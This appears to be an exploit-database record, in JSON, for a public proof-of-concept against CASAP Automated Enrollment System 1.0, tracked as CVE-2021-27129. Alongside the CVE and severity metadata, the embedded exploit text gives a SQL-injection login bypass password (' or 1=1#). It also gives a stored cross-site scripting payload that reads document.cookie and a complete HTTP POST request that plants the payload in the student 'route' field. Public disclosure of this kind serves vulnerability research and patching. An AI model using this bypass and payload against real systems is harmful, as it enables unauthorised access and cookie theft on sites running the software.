{"exploit":{"id":"EDB-49470","name":"CASAP Automated Enrollment System 1.0 - 'route' Stored Cross-Site Scripting (XSS)","description":"CASAP Automated Enrollment System 1.0 - 'route' Stored Cross-Site Scripting (XSS)","cves":["CVE-2021-27129"],"author":"Richard Jones","published":"2021-01-25","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49470","path":"exploits/php/webapps/49470.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49470.txt","vulnerabilities":[{"id":"CVE-2021-27129","state":"PUBLISHED","title":null,"titleSource":null,"description":"CASAP Automated Enrollment System version 1.0 contains a cross-site scripting (XSS) vulnerability through the Students > Edit > ROUTE parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-27129","cvss":{"version":"3.1","baseScore":5.4,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-27129"},"updatedAt":"2025-11-11T17:37:07.343Z","retrievedAt":"2026-11-27T18:12:31.937Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49470.png?v=2","url":"https://exploitbin.com/exploits/EDB-49470","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49470/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49470/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: CASAP Automated Enrollment System 1.0 - 'route' Stored XSS\n# Exploit Author: Richard Jones\n# Date: 2021-01/23\n# Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html\n# Software Link: https://www.sourcecodester.com/download-code?nid=12210&title=CASAP+Automated+Enrollment+System+using+PHP%2FMySQLi+with+Source+Code\n# Version: 1.0\n# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34\n\n# Steps to reproduce\n# 1. login bypass username: admin, password: `' or 1=1#\n# 2. Studants > Edit > \"ROUTE\" field enter.. \"<script>alert(document.cookie)</script>\n# Save, reload page, exploited stored XXS\n\n\nPOST /Final/update_student.php HTTP/1.1\nHost: TARGET\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\nAccept: */*\nAccept-Language: en-GB,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 297\nOrigin: http://TARGET\nConnection: close\nReferer: http://TARGET/Final/edit_stud.php?id=6\nCookie: PHPSESSID=97qoeda9h6djjis5gbr00p7ndc\n\nstudent_id=6&status=half&fname=Ronel&mname=G.&lname=Ortega&gender=Male&dob=1999-06-16&address=Prk.1+brgy.banago+bacolod+city&student_class=ICT+-+Computer+Programming&transport=yes&route=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&gfname=Juanita&gmname=S.&glname=a&rship=Mother&tel=0912312445","sha256":"0b959d2af8111fdf648da6eab08e19dd7f502fb4b5d7d69ac63f9594702e947e","bytes":1422,"fetchedAt":"2026-11-27T18:12:30.070Z","encoding":"utf-8 (display only; download retains original bytes)"}